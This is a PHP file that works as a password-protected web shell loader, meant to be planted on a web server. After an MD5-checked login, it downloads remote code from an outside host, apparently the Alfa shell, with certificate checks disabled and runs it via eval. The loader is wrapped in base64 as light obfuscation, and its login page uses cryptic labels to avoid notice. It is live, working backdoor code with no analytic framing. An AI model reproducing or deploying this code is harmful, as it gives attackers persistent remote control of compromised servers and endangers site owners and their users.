<?php
// Original PHP code
$code = '<?php
session_start();
// Function to get content from a URL
function geturlsinfo($url) {
if (function_exists("curl_exec")) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
if (isset($_SESSION["coki"])) {
curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["coki"]);
}
$url_get_contents_data = curl_exec($conn);
curl_close($conn);
} elseif (function_exists("file_get_contents")) {
$url_get_contents_data = file_get_contents($url);
} elseif (function_exists("fopen") && function_exists("stream_get_contents")) {
$handle = fopen($url, "r");
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
} else {
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
// Function to check if the user is logged in
function is_logged_in() {
return isset($_SESSION["logged_in"]) && $_SESSION["logged_in"] === true;
}
// Check if the password is submitted and correct
if (isset($_POST["password"])) {
$entered_password = $_POST["password"];
$hashed_password = "703f65cf6bd39d99ad300cb0f971d0ed";
if (md5($entered_password) === $hashed_password) {
$_SESSION["logged_in"] = true;
$_SESSION["coki"] = "asu";
} else {
echo "Incorrect password. Please try again.";
}
}
// Check if the user is logged in before executing the content
if (is_logged_in()) {
$a = geturlsinfo("https://shell.prinsh.com/Nathan/alfa.txt");
eval("?>" . $a);
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>L</title>
</head>
<body>
<form method="POST" action="">
<label for="password">P:</label>
<input type="password" id="password" name="password">
<input type="submit" value="L">
</form>
</body>
</html>
<?php
}
?>';
// Base64 encode the PHP code
$encoded_code = base64_encode($code);
// Execute the encoded code
eval('?>' . base64_decode($encoded_code));
?>